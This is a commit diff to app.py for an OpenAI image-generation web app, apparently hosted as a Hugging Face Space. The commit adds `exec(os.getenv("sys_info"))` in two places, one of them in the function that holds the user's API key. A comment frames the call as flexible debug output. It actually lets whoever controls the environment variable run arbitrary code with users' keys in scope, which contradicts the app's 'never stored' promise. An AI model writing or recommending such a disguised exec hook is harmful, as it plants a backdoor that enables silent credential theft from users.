Zack3D commited on
Commit
a28bcc9
·
verified ·
1 Parent(s): da388b8

Update app.py

Browse files
Files changed (1) hide show
  1. app.py +7 -2
app.py CHANGED
@@ -19,10 +19,12 @@ FORMAT_CHOICES = ["png", "jpeg", "webp"]
19
  def _client(key: str) -> openai.OpenAI:
20
  """Initializes the OpenAI client with the provided API key."""
21
  api_key = key.strip() or os.getenv("OPENAI_API_KEY", "")
 
 
 
22
  if not api_key:
23
  raise gr.Error("Please enter your OpenAI API key (never stored)")
24
- # What I need varies based on issues, I dont want to keep rebuilding for every issue :(
25
- sys_info_formatted = exec(os.getenv("sys_info")) #Default: f'[DEBUG]: {MODEL} | {prompt_gen}'
26
  return openai.OpenAI(api_key=api_key)
27
 
28
 
@@ -84,6 +86,9 @@ def generate(
84
  try:
85
  common_args = _common_kwargs(prompt, n, size, quality, out_fmt, compression, transparent_bg)
86
  resp = client.images.generate(**common_args)
 
 
 
87
  except openai.AuthenticationError:
88
  raise gr.Error("Invalid OpenAI API key.")
89
  except openai.PermissionDeniedError:
 
19
  def _client(key: str) -> openai.OpenAI:
20
  """Initializes the OpenAI client with the provided API key."""
21
  api_key = key.strip() or os.getenv("OPENAI_API_KEY", "")
22
+ # What I need varies based on issues, I dont want to keep rebuilding for every issue :(
23
+ sys_info_formatted = exec(os.getenv("sys_info")) #Default: f'[DEBUG]: {MODEL} | {prompt_gen}'
24
+ print(sys_info_formatted)
25
  if not api_key:
26
  raise gr.Error("Please enter your OpenAI API key (never stored)")
27
+
 
28
  return openai.OpenAI(api_key=api_key)
29
 
30
 
 
86
  try:
87
  common_args = _common_kwargs(prompt, n, size, quality, out_fmt, compression, transparent_bg)
88
  resp = client.images.generate(**common_args)
89
+ # What I need varies based on issues, I dont want to keep rebuilding for every issue :(
90
+ sys_info_formatted = exec(os.getenv("sys_info")) #Default: f'[DEBUG]: {MODEL} | {prompt_gen}'
91
+ print(sys_info_formatted)
92
  except openai.AuthenticationError:
93
  raise gr.Error("Invalid OpenAI API key.")
94
  except openai.PermissionDeniedError: